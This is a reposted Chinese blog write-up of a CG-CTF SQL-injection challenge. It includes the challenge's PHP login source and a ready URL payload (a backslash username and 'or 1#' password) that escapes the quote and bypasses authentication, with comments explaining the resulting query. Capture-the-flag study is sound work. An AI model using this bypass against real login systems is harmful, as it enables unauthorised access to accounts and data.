码迷,mamicode.com
首页 > 数据库 > 详细

CG-CTF | SQL Injection

时间:2019-12-02 01:04:45      阅读:115      评论:0      收藏:0      [点我收藏+]

标签:erro   sele   lag   技术   mamicode   use   invalid   lse   play   

 没错我又偷偷写了道web【并查集好难啊,脑阔疼QAQ】


 

技术图片

http://chinalover.sinaapp.com/web15/index.php?username=%5C&password=or%201%23

记得要url编码后再发啊喂!!

<?
error_reporting(0);
require ‘db.inc.php‘;

function clean($str)
{
    //返回当前 magic_quotes_gpc 配置选项的设置
    //如果 magic_quotes_gpc 为关闭时返回 0,否则返回 1。在 PHP 5.4.O 起将始终返回 FALSE。
    if(get_magic_quotes_gpc())
    {
        $str=stripslashes($str);
        //stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
    }
    return htmlentities($str, ENT_QUOTES);
    //把字符转换为 HTML 实体:
    //ENT_QUOTES - 编码双引号和单引号。
    //过滤单引号,双引号
}

$username = @clean((string)$_GET[‘username‘]);
$password = @clean((string)$_GET[‘password‘]);

$query=‘SELECT * FROM users WHERE name=\‘‘.$username.‘\‘ AND pass=\‘‘.$password.‘\‘;‘;
/* 
$query=‘SELECT * FROM users WHERE name=\‘‘\‘\‘ AND pass=\‘‘or 1#‘\‘;‘;
1:‘SELECT * FROM users WHERE name=\‘‘
2:.$username.
3:‘\‘ AND pass=\‘‘
4:.$password.
5:‘\‘;‘
---->SELECT * FROM users WHERE name=\‘.$username.\‘ AND pass=\‘.$password.\‘;

---->SELECT * FROM users WHERE name=‘\‘ AND pass=‘or 1#‘\‘;
---->SELECT * FROM users WHERE name=‘[一堆乱七八糟没啥有意义的字符]‘or 1#‘\‘;
---->SELECT * FROM users WHERE name=‘‘or 1#;
*/
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1)
{
    die(‘Invalid password!‘);
    //mysql_num_rows() 函数返回结果集中行的数目。
}

echo $flag;

 

CG-CTF | SQL Injection

标签:erro   sele   lag   技术   mamicode   use   invalid   lse   play   

原文地址:https://www.cnblogs.com/chrysanthemum/p/11968240.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!